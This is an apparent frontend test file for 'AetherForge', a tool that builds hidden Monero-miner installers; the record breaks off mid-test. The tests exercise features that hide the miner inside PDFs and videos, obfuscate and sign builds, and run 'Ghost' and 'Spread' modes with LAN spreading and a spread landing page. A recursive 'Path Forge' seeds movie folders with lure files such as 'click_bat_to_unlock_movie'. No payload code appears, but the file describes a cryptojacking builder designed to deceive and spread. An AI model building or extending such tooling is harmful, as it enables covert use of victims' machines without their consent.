Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cover Path Tracer RS lane hints, Calibrate erasure toggle, fleet role chips, atlas skips panel, and erasure_lanes help copy.
737 lines
31 KiB
TypeScript
737 lines
31 KiB
TypeScript
/**
|
|
* @vitest-environment happy-dom
|
|
*/
|
|
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
|
import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react';
|
|
import userEvent from '@testing-library/user-event';
|
|
import { MemoryRouter } from 'react-router-dom';
|
|
import BuilderPage, { formatBytes } from './BuilderPage';
|
|
import { ForgeProvider } from '../context/ForgeContext';
|
|
import { routerFuture } from '../routerFuture';
|
|
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
|
import { api } from '../api/client';
|
|
|
|
function renderBuilder(initialEntries = ['/forge']) {
|
|
return render(
|
|
<MemoryRouter initialEntries={initialEntries} future={routerFuture}>
|
|
<ForgeProvider>
|
|
<BuilderPage />
|
|
</ForgeProvider>
|
|
</MemoryRouter>
|
|
);
|
|
}
|
|
|
|
function missionWizardScope() {
|
|
const root = screen.getByText('MISSION RITUAL — 3-STEP WIZARD').closest('.forge-mission-wizard');
|
|
if (!root) throw new Error('Mission wizard not found');
|
|
return within(root as HTMLElement);
|
|
}
|
|
|
|
function pathForgeSection() {
|
|
const root = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section');
|
|
if (!root) throw new Error('Path forge section not found');
|
|
return within(root as HTMLElement);
|
|
}
|
|
|
|
function fusionBatchFileInput() {
|
|
const label = screen.getByText(/Batch fusion — fuse many files at once/i);
|
|
const formGroup = label.closest('.form-group');
|
|
if (!formGroup) throw new Error('Batch fusion form group not found');
|
|
const input = formGroup.querySelector('input[type="file"][multiple]') as HTMLInputElement | null;
|
|
if (!input) throw new Error('Batch fusion file input not found');
|
|
return input;
|
|
}
|
|
|
|
function mockFusionFile(name: string, content = 'payload') {
|
|
return new File([content], name, { type: 'application/octet-stream' });
|
|
}
|
|
|
|
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
|
|
|
function successfulBuild(overrides: Partial<BuildResult> = {}): BuildResult {
|
|
return {
|
|
success: true,
|
|
file_name: 'worker-1.exe',
|
|
file_size: 4 * 1024 * 1024,
|
|
download_url: '/api/v1/builds/test/download',
|
|
fusion_enabled: false,
|
|
obfuscated: false,
|
|
signed: false,
|
|
...overrides,
|
|
};
|
|
}
|
|
|
|
describe('formatBytes', () => {
|
|
it('formats sub-kilobyte values as bytes', () => {
|
|
expect(formatBytes(512)).toBe('512 B');
|
|
});
|
|
|
|
it('formats kilobytes and megabytes with two decimals', () => {
|
|
expect(formatBytes(2048)).toBe('2.00 KB');
|
|
expect(formatBytes(5 * 1024 * 1024)).toBe('5.00 MB');
|
|
});
|
|
|
|
it('formats gigabytes and terabytes', () => {
|
|
expect(formatBytes(3 * 1024 * 1024 * 1024)).toBe('3.00 GB');
|
|
expect(formatBytes(2 * 1024 * 1024 * 1024 * 1024)).toBe('2.00 TB');
|
|
});
|
|
});
|
|
|
|
describe('BuilderPage', () => {
|
|
beforeEach(() => {
|
|
vi.clearAllMocks();
|
|
localStorage.clear();
|
|
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
|
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
|
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
|
vi.spyOn(api, 'buildAgent').mockResolvedValue({
|
|
success: true,
|
|
file_name: 'worker-1.exe',
|
|
file_size: 4 * 1024 * 1024,
|
|
download_url: '/api/v1/builds/test/download',
|
|
fusion_enabled: false,
|
|
obfuscated: false,
|
|
signed: false,
|
|
});
|
|
vi.spyOn(api, 'listBlueprints').mockResolvedValue([]);
|
|
vi.spyOn(api, 'saveBlueprint').mockResolvedValue({ name: 'my-blueprint', size: 1024, created_at: '' });
|
|
vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
|
|
});
|
|
|
|
afterEach(() => {
|
|
vi.unstubAllGlobals();
|
|
cleanup();
|
|
});
|
|
|
|
it('shows loading hero before defaults arrive', () => {
|
|
renderBuilder();
|
|
expect(screen.getByRole('heading', { level: 1, name: 'Forge' })).toBeInTheDocument();
|
|
expect(screen.getByText('Loading forge defaults from server...')).toBeInTheDocument();
|
|
});
|
|
|
|
it('renders forge form with identity field labels after load', async () => {
|
|
renderBuilder();
|
|
expect(await screen.findByRole('heading', { level: 2, name: 'Quick Forge' })).toBeInTheDocument();
|
|
expect(screen.getByText('INSTALLER FORGE')).toBeInTheDocument();
|
|
expect(screen.getByText('Worker Name')).toBeInTheDocument();
|
|
expect(screen.getByText('Control Endpoint')).toBeInTheDocument();
|
|
expect(screen.getByText('XMR Wallet Address')).toBeInTheDocument();
|
|
expect(api.getConfig).toHaveBeenCalled();
|
|
expect(api.getServerInfo).toHaveBeenCalled();
|
|
expect(api.listBuilds).toHaveBeenCalled();
|
|
});
|
|
|
|
it('surfaces load failure when server info cannot be fetched', async () => {
|
|
vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
|
|
renderBuilder();
|
|
expect(
|
|
await screen.findByText('Failed to load server config — is the control server running?')
|
|
).toBeInTheDocument();
|
|
});
|
|
|
|
it('shows LAN endpoint chips from server info', async () => {
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
expect(screen.getByRole('button', { name: mockServerInfo.suggested_url! })).toBeInTheDocument();
|
|
});
|
|
|
|
it('switches to advanced mode and reveals pool configuration', async () => {
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
|
|
expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
|
|
expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
|
|
expect(screen.getByText('Mining Pools')).toBeInTheDocument();
|
|
});
|
|
|
|
it('submits forge when preflight passes', async () => {
|
|
const buildSpy = vi.spyOn(api, 'buildAgent');
|
|
renderBuilder();
|
|
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
|
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
|
await waitFor(() => {
|
|
expect(buildSpy).toHaveBeenCalled();
|
|
});
|
|
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
|
|
expect(screen.getByRole('button', { name: /Download/i })).toBeInTheDocument();
|
|
});
|
|
|
|
it('offers forge-next-worker after a successful build', async () => {
|
|
renderBuilder();
|
|
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
|
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
|
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
|
|
|
|
await userEvent.setup().click(screen.getByRole('button', { name: 'Forge next worker' }));
|
|
expect(screen.queryByText('worker-1.exe')).not.toBeInTheDocument();
|
|
expect(screen.getByPlaceholderText(/office-pc-1/i)).toHaveValue('worker-2');
|
|
});
|
|
|
|
it('shows fleet blueprint save prompt after first successful forge', async () => {
|
|
const promptMock = vi.fn().mockReturnValue('fleet-default');
|
|
vi.stubGlobal('prompt', promptMock);
|
|
const saveSpy = vi.spyOn(api, 'saveBlueprint');
|
|
|
|
renderBuilder();
|
|
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
|
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
|
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
|
|
|
|
await userEvent.setup().click(screen.getByRole('button', { name: 'Save as fleet blueprint' }));
|
|
await waitFor(() => {
|
|
expect(promptMock).toHaveBeenCalledWith('Save this setup as a fleet blueprint:', 'fleet-default');
|
|
expect(saveSpy).toHaveBeenCalledWith('fleet-default', expect.any(Object));
|
|
});
|
|
});
|
|
|
|
it('blocks forge when preflight has errors (empty wallet)', async () => {
|
|
renderBuilder();
|
|
const wallet = await screen.findByDisplayValue(/^4A+/);
|
|
fireEvent.change(wallet, { target: { value: '' } });
|
|
const forgeBtn = screen.getByRole('button', { name: /FIX .* ERROR/i });
|
|
expect(forgeBtn).toBeDisabled();
|
|
expect(screen.getByText('PREFLIGHT CROSS-CHECK')).toBeInTheDocument();
|
|
});
|
|
|
|
it('persists simple vs advanced mode in localStorage', async () => {
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
|
|
expect(localStorage.getItem('aetherforge-forge-mode')).toBe('advanced');
|
|
await userEvent.setup().click(screen.getByRole('button', { name: 'Simple' }));
|
|
expect(localStorage.getItem('aetherforge-forge-mode')).toBe('simple');
|
|
});
|
|
|
|
it('loads blueprint list when Load Blueprint is clicked', async () => {
|
|
vi.spyOn(api, 'listBlueprints').mockResolvedValue([
|
|
{ name: 'office-preset', size: 2048, created_at: '2026-05-30T12:00:00Z' },
|
|
]);
|
|
renderBuilder();
|
|
await screen.findByRole('button', { name: /Load Blueprint/i });
|
|
await userEvent.setup().click(screen.getByRole('button', { name: /Load Blueprint/i }));
|
|
expect(await screen.findByText('Saved Blueprints')).toBeInTheDocument();
|
|
expect(screen.getByText('office-preset')).toBeInTheDocument();
|
|
expect(api.listBlueprints).toHaveBeenCalled();
|
|
});
|
|
|
|
it('shows fusion deliverable hint when Fusion card is selected', async () => {
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
await userEvent.setup().click(
|
|
screen.getByRole('button', { name: /Hide miner in any file/i })
|
|
);
|
|
expect(
|
|
screen.getByText(/Drop any file — PDF, video, document/i)
|
|
).toBeInTheDocument();
|
|
});
|
|
|
|
it('applies forge skin class from default operation mode', async () => {
|
|
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
|
|
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
|
const { container } = renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--ghost');
|
|
});
|
|
|
|
it('honors forge theme override over operation mode', async () => {
|
|
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
|
|
localStorage.setItem('aetherforge-forge-theme', 'halloween');
|
|
const { container } = renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
|
|
expect(container.querySelector('.command-deck')).not.toHaveClass('forge-skin--ghost');
|
|
});
|
|
|
|
it('updates forge skin when operation mode chip is selected', async () => {
|
|
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
|
const { container } = renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
await userEvent.setup().click(screen.getByRole('button', { name: 'Wildfire' }));
|
|
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--wildfire');
|
|
});
|
|
|
|
it('applies crucible skin for Crucible Storm mode', async () => {
|
|
localStorage.setItem('aetherforge-operation-mode', 'crucible_storm');
|
|
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
|
const { container } = renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--crucible');
|
|
});
|
|
|
|
it('applies halloween skin for Sigil Mask mode', async () => {
|
|
localStorage.setItem('aetherforge-operation-mode', 'sigil_mask');
|
|
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
|
const { container } = renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
|
|
});
|
|
|
|
it('renders mission ritual wizard with three step pills', async () => {
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
const wizard = missionWizardScope();
|
|
expect(screen.getByText('MISSION RITUAL — 3-STEP WIZARD')).toBeInTheDocument();
|
|
expect(wizard.getByRole('tab', { name: /Mode/i })).toBeInTheDocument();
|
|
expect(wizard.getByRole('tab', { name: /Profile/i })).toBeInTheDocument();
|
|
expect(wizard.getByRole('tab', { name: /Launch/i })).toBeInTheDocument();
|
|
expect(wizard.getByRole('button', { name: 'Ghost' })).toBeInTheDocument();
|
|
expect(wizard.getByRole('button', { name: 'Loud' })).toBeInTheDocument();
|
|
expect(wizard.getByRole('button', { name: 'Spread' })).toBeInTheDocument();
|
|
});
|
|
|
|
it('advances mission wizard from mode to profile to launch', async () => {
|
|
const user = userEvent.setup();
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
const wizard = missionWizardScope();
|
|
|
|
await user.click(wizard.getByRole('button', { name: 'Spread' }));
|
|
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
|
expect(wizard.getByText('Spread profile (optional)')).toBeInTheDocument();
|
|
|
|
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
|
|
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
|
expect(wizard.getByRole('button', { name: '🚀 Launch Ritual' })).toBeInTheDocument();
|
|
expect(wizard.getByLabelText('Campaign slug (?c=)')).toBeInTheDocument();
|
|
});
|
|
|
|
it('runs mission ritual and shows success modal with spread landing link', async () => {
|
|
vi.spyOn(api, 'buildAgent').mockResolvedValue({
|
|
success: true,
|
|
build_id: 'ritual-build-1',
|
|
file_name: 'worker-ritual.exe',
|
|
file_size: 4096,
|
|
download_url: '/api/v1/builds/ritual-build-1/download',
|
|
fusion_enabled: false,
|
|
obfuscated: false,
|
|
signed: false,
|
|
});
|
|
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
|
|
|
|
const user = userEvent.setup();
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
const wizard = missionWizardScope();
|
|
|
|
await user.click(wizard.getByRole('button', { name: 'Spread' }));
|
|
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
|
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
|
|
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
|
await user.click(wizard.getByRole('button', { name: '🚀 Launch Ritual' }));
|
|
|
|
expect(await screen.findByText('Mission complete')).toBeInTheDocument();
|
|
expect(screen.getByRole('button', { name: /View install commands in Builds/i })).toBeInTheDocument();
|
|
expect(screen.getByRole('link', { name: 'Open spread landing' })).toHaveAttribute('href', '/spread/');
|
|
expect(api.buildAgent).toHaveBeenCalled();
|
|
expect(api.exportSpreadKit).toHaveBeenCalled();
|
|
});
|
|
|
|
it('APK mode toggle locks platform to Android arm64 and hides Fusion', async () => {
|
|
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
|
const user = userEvent.setup();
|
|
renderBuilder();
|
|
await screen.findByText('Worker Name');
|
|
|
|
const apkToggle = await screen.findByRole('checkbox', { name: /APK mode/i });
|
|
await user.click(apkToggle);
|
|
|
|
expect(screen.getByDisplayValue('Android (arm64)')).toBeInTheDocument();
|
|
expect(screen.getByText(/platform=android/i)).toBeInTheDocument();
|
|
expect(screen.queryByText('Fusion — Hide miner in any file')).not.toBeInTheDocument();
|
|
});
|
|
|
|
it('polls builder progress endpoint while a forge is running', async () => {
|
|
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
|
let resolveBuild!: (value: BuildResult) => void;
|
|
vi.spyOn(api, 'buildAgent').mockReturnValue(
|
|
new Promise<BuildResult>((resolve) => {
|
|
resolveBuild = resolve;
|
|
}),
|
|
);
|
|
|
|
const fetchMock = vi.fn().mockResolvedValue({
|
|
ok: true,
|
|
json: async () => ({ stage: 'Compiling agent', pct: 42 }),
|
|
});
|
|
vi.stubGlobal('fetch', fetchMock);
|
|
|
|
renderBuilder();
|
|
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
|
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
|
|
|
await waitFor(
|
|
() => {
|
|
expect(fetchMock).toHaveBeenCalledWith(
|
|
expect.stringMatching(/\/api\/v1\/builder\/progress\//),
|
|
expect.objectContaining({ headers: expect.any(Object) }),
|
|
);
|
|
},
|
|
{ timeout: 3000 },
|
|
);
|
|
|
|
resolveBuild({
|
|
success: true,
|
|
file_name: 'worker-1.exe',
|
|
file_size: 1024,
|
|
download_url: '/api/v1/builds/test/download',
|
|
fusion_enabled: false,
|
|
obfuscated: false,
|
|
signed: false,
|
|
});
|
|
await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
|
|
});
|
|
|
|
it('calls cancelBuild when Kill Build is clicked during single forge', async () => {
|
|
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
|
vi.spyOn(api, 'buildAgent').mockReturnValue(new Promise<BuildResult>(() => {}));
|
|
|
|
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
|
|
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
ok: true,
|
|
json: async () => ({ stage: 'Compiling', pct: 10 }),
|
|
}));
|
|
|
|
renderBuilder();
|
|
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
|
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
|
|
|
const killBtn = await screen.findByRole('button', { name: /Kill Build/i });
|
|
fireEvent.click(killBtn);
|
|
|
|
await waitFor(() => {
|
|
expect(cancelSpy).toHaveBeenCalled();
|
|
});
|
|
});
|
|
|
|
it('submits path forge and shows placement summary', async () => {
|
|
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
|
const fetchMock = vi.fn().mockResolvedValue({
|
|
ok: true,
|
|
json: async () => ({
|
|
success: true,
|
|
placed: 3,
|
|
total: 1,
|
|
skipped: 2,
|
|
errors: 0,
|
|
results: [{ source: 'movie.mkv', files: ['movie.bat', 'click_bat_to_unlock_movie'] }],
|
|
}),
|
|
});
|
|
vi.stubGlobal('fetch', fetchMock);
|
|
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
|
|
|
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
|
|
const pathInput = within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i);
|
|
fireEvent.change(pathInput, { target: { value: 'D:\\Movies' } });
|
|
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
|
|
|
|
expect(await screen.findByText(/3 files placed across 1 source files/i)).toBeInTheDocument();
|
|
expect(fetchMock).toHaveBeenCalledWith(
|
|
'/api/v1/builder/path-forge',
|
|
expect.objectContaining({ method: 'POST' }),
|
|
);
|
|
});
|
|
|
|
it('shows path forge busy state while seeding', async () => {
|
|
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
|
let resolveForge!: (value: Response) => void;
|
|
const fetchMock = vi.fn().mockReturnValue(
|
|
new Promise<Response>((resolve) => {
|
|
resolveForge = resolve;
|
|
}),
|
|
);
|
|
vi.stubGlobal('fetch', fetchMock);
|
|
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
|
|
|
const section = pathForgeSection();
|
|
fireEvent.change(section.getByPlaceholderText(/E:\\Movies/i), {
|
|
target: { value: 'D:\\Movies' },
|
|
});
|
|
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
|
|
|
|
expect(await screen.findByRole('button', { name: /Seeding/i })).toBeDisabled();
|
|
|
|
resolveForge({
|
|
ok: true,
|
|
json: async () => ({ success: true, placed: 1, total: 1, errors: 0, results: [] }),
|
|
} as Response);
|
|
|
|
await waitFor(() => {
|
|
expect(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i })).not.toBeDisabled();
|
|
});
|
|
});
|
|
|
|
it('calls cancelBuild on unmount when single forge is in flight', async () => {
|
|
const capturedTokens: string[] = [];
|
|
vi.spyOn(api, 'buildAgent').mockImplementation((req) => {
|
|
capturedTokens.push(req.cancel_token ?? '');
|
|
return new Promise<BuildResult>(() => {});
|
|
});
|
|
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
|
|
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
ok: true,
|
|
json: async () => ({ stage: 'Compiling', pct: 10 }),
|
|
}));
|
|
|
|
const { unmount } = renderBuilder();
|
|
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
|
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
|
await waitFor(() => expect(api.buildAgent).toHaveBeenCalled());
|
|
|
|
unmount();
|
|
|
|
await waitFor(() => {
|
|
expect(cancelSpy).toHaveBeenCalledWith(capturedTokens[0]);
|
|
});
|
|
});
|
|
|
|
it('path forge blocks duplicate launch while seeding (race guard)', async () => {
|
|
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
|
let resolveForge!: (value: Response) => void;
|
|
const fetchMock = vi.fn().mockReturnValue(
|
|
new Promise<Response>((resolve) => {
|
|
resolveForge = resolve;
|
|
}),
|
|
);
|
|
vi.stubGlobal('fetch', fetchMock);
|
|
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
|
|
|
const section = pathForgeSection();
|
|
fireEvent.change(section.getByPlaceholderText(/E:\\Movies/i), { target: { value: 'D:\\Movies' } });
|
|
const launchBtn = screen.getByRole('button', { name: /LAUNCH PATH FORGE/i });
|
|
fireEvent.click(launchBtn);
|
|
|
|
const seedingBtn = await screen.findByRole('button', { name: /Seeding/i });
|
|
expect(seedingBtn).toBeDisabled();
|
|
fireEvent.click(seedingBtn);
|
|
expect(fetchMock).toHaveBeenCalledTimes(1);
|
|
|
|
resolveForge({
|
|
ok: true,
|
|
json: async () => ({ success: true, placed: 1, total: 1, errors: 0, results: [] }),
|
|
} as Response);
|
|
await waitFor(() => expect(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i })).not.toBeDisabled());
|
|
});
|
|
|
|
it('path forge unmount during seeding does not throw', async () => {
|
|
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
|
vi.stubGlobal('fetch', vi.fn().mockReturnValue(new Promise<Response>(() => {})));
|
|
|
|
const { unmount } = renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
|
|
|
const section = pathForgeSection();
|
|
fireEvent.change(section.getByPlaceholderText(/E:\\Movies/i), { target: { value: 'D:\\Movies' } });
|
|
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
|
|
await screen.findByRole('button', { name: /Seeding/i });
|
|
|
|
expect(() => unmount()).not.toThrow();
|
|
});
|
|
|
|
it('batch forge processes multiple files with per-file preflight and cancel_token', async () => {
|
|
const user = userEvent.setup();
|
|
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
|
|
successfulBuild({
|
|
fusion_enabled: true,
|
|
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
|
|
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
|
|
}),
|
|
);
|
|
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
ok: true,
|
|
json: async () => ({ stage: 'Packaging', pct: 80 }),
|
|
}));
|
|
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
|
|
|
|
const alpha = mockFusionFile('alpha.pdf');
|
|
const beta = mockFusionFile('beta.mkv');
|
|
fireEvent.change(fusionBatchFileInput(), { target: { files: [alpha, beta] } });
|
|
expect(await screen.findByText(/2 files queued/i)).toBeInTheDocument();
|
|
|
|
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
|
|
|
|
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(2));
|
|
expect(buildSpy.mock.calls[0][1]?.name).toBe('alpha.pdf');
|
|
expect(buildSpy.mock.calls[1][1]?.name).toBe('beta.mkv');
|
|
expect(buildSpy.mock.calls[0][0].fusion_enabled).toBe(true);
|
|
expect(buildSpy.mock.calls[0][0].cancel_token).toBeTruthy();
|
|
expect(buildSpy.mock.calls[1][0].cancel_token).toBeTruthy();
|
|
expect(await screen.findByText(/Batch forged 2 file/i)).toBeInTheDocument();
|
|
expect(screen.getByText(/2\/2 — done/i)).toBeInTheDocument();
|
|
});
|
|
|
|
it('cancels batch forge mid-loop via Cancel Batch and calls cancelBuild', async () => {
|
|
const user = userEvent.setup();
|
|
let resolveFirst!: (value: BuildResult) => void;
|
|
const capturedTokens: string[] = [];
|
|
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation((req) => {
|
|
capturedTokens.push(req.cancel_token ?? '');
|
|
if (capturedTokens.length === 1) {
|
|
return new Promise<BuildResult>((resolve) => {
|
|
resolveFirst = resolve;
|
|
});
|
|
}
|
|
return Promise.resolve(successfulBuild({ fusion_enabled: true }));
|
|
});
|
|
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
|
|
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
ok: true,
|
|
json: async () => ({ stage: 'Compiling', pct: 35 }),
|
|
}));
|
|
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
|
|
|
|
fireEvent.change(fusionBatchFileInput(), {
|
|
target: { files: [mockFusionFile('one.pdf'), mockFusionFile('two.pdf')] },
|
|
});
|
|
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
|
|
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(1));
|
|
|
|
fireEvent.click(await screen.findByRole('button', { name: /Cancel Batch/i }));
|
|
expect(cancelSpy).toHaveBeenCalledWith(capturedTokens[0]);
|
|
|
|
resolveFirst(successfulBuild({
|
|
fusion_enabled: true,
|
|
bundle_file_name: 'one-package.zip',
|
|
fusion_export_dir: 'fusion-deliverables/one.pdf',
|
|
}));
|
|
|
|
expect(await screen.findByText(/Batch forge cancelled after 1 of 2 file/i)).toBeInTheDocument();
|
|
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(1));
|
|
expect(screen.getByText(/1\/2 — cancelled/i)).toBeInTheDocument();
|
|
});
|
|
|
|
it('skips per-file build failures and shows skipped counter in batch progress', async () => {
|
|
const user = userEvent.setup();
|
|
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) => {
|
|
if (file?.name === 'bad.pdf') {
|
|
return { success: false, error: 'Payload too large for fusion stub' };
|
|
}
|
|
return successfulBuild({
|
|
fusion_enabled: true,
|
|
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
|
|
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
|
|
});
|
|
});
|
|
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
ok: true,
|
|
json: async () => ({ stage: 'Packaging', pct: 90 }),
|
|
}));
|
|
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
|
|
|
|
fireEvent.change(fusionBatchFileInput(), {
|
|
target: { files: [mockFusionFile('bad.pdf'), mockFusionFile('good.pdf')] },
|
|
});
|
|
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
|
|
|
|
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(2));
|
|
expect(await screen.findByText(/Batch forged 1 file\(s\) · 1 skipped/i)).toBeInTheDocument();
|
|
expect(screen.getByText(/bad\.pdf — Payload too large for fusion stub/i)).toBeInTheDocument();
|
|
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
|
|
expect(screen.getByText(/good\.pdf — Saved → fusion-deliverables\/good\.pdf/i)).toBeInTheDocument();
|
|
});
|
|
|
|
it('skips per-file preflight failures without aborting the batch', async () => {
|
|
const user = userEvent.setup();
|
|
const forgeValidation = await import('../help/forgeValidation');
|
|
const { runForgePreflight: realPreflight } = await vi.importActual<
|
|
typeof import('../help/forgeValidation')
|
|
>('../help/forgeValidation');
|
|
const preflightSpy = vi.spyOn(forgeValidation, 'runForgePreflight').mockImplementation((form, fusion) => {
|
|
if (form.fusion_media_base_name === 'blocked.pdf') {
|
|
return [{ id: 'fusion', level: 'error', message: 'Fusion media exceeds size cap' }];
|
|
}
|
|
return realPreflight(form, fusion);
|
|
});
|
|
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
|
|
successfulBuild({
|
|
fusion_enabled: true,
|
|
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
|
|
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
|
|
}),
|
|
);
|
|
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
|
ok: true,
|
|
json: async () => ({ stage: 'Packaging', pct: 90 }),
|
|
}));
|
|
|
|
renderBuilder();
|
|
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
|
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
|
|
|
|
fireEvent.change(fusionBatchFileInput(), {
|
|
target: { files: [mockFusionFile('blocked.pdf'), mockFusionFile('allowed.pdf')] },
|
|
});
|
|
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
|
|
|
|
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(1));
|
|
